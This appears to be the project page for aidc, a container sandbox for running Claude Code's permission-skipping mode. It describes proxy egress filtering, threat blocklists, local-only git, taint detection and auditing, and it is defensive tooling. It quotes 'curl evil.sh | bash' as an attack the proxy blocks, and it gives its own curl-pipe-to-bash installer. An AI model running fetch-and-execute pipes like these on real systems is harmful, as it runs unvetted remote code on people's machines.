aidc
Claude Code has a flag called --dangerously-skip-permissions. Everyone calls it yolo mode. It is the difference between approving four hundred prompts a day and getting actual work done, and it hands an autonomous agent a shell on your machine.
The usual advice is don’t. aidc is the other answer: give the agent a container it cannot get out of, then let it run.
What Gets Enforced
Git is local-only. No SSH keys. No GitHub tokens. No gh CLI. Full git inside the container – branches, commits, rebases, stashes – and a pre-push hook that hard-fails anything trying to leave.
Egress is filtered. A Squid forward proxy sits between the container and the internet, with URLhaus, ThreatFox and HaGeZi-TIF blocklists refreshed every six hours, a state-actor TLD policy, and Quad9 upstream. curl evil.sh | bash doesn’t resolve.
Docker is isolated. Docker-in-Docker inside the sandbox. The host daemon is unreachable. Images built in a session die with it.
Compromise is detected. A policy sidecar tails the proxy log. A blocklist hit writes a taint flag and pauses the container. Recovery is aidc kill then aidc create, not an afternoon of forensics and optimism.
Everything is audited. Proxy access log, shell history, Claude session transcript, policy events. All of it survives the kill, on the host, where you can read it.
Still Your Setup
A sandbox nobody uses is just a container image. So aidc bridges the things that make Claude Code yours: authentication, ~/.claude.json state, settings, and per-project memory – your conversations follow the repo into the container.
Inside, you’re still you. Just sandboxed.
Sessions, Not Servers
Each session is its own stack: dev container, proxy, blocklist refresher, policy watcher, audit collector. Run as many side by side as you have repos. Attach into tmux, detach, and Claude keeps working.
--workspacemounts a parent directory, so sibling repos are onecd ..away- Declared ports and live forwards expose what’s running inside
- Container-only volumes keep
.venv,node_modulesandtargetfrom becoming cross-architecture wreckage - Per-session DNS overrides for overlay networks like ZeroTier and Tailscale
- An optional MCP control plane lets an orchestrator create and drive sessions remotely, one-way – containers cannot reach back
Built With EAD
aidc is built with Enforcement-Accelerated Development. For a project that is entirely a security boundary, the safety model can’t be a claim in a README. The smoke harness brings up the full multi-container stack and asserts it: no host Docker socket, no gh, no SSH, push fails, commit works, taint fires, audit survives.
Thirty-six assertions per run. The rules are enforced by tests, not tribal knowledge.
Get It
curl -fsSL https://github.com/pacepace/aidc/releases/latest/download/install.sh | bash
Or through Homebrew:
brew tap pacepace/aidc
brew install aidc
Yes, the sandbox blocks curl | bash – for the agent inside. On your host you’re the trusted party, and the installer verifies its download against the checksum published in the tap.
Then point it at a repo:
aidc create my-feature --repo ~/code/some-project
aidc attach my-feature
MIT licensed. Bash and Python. Docker required.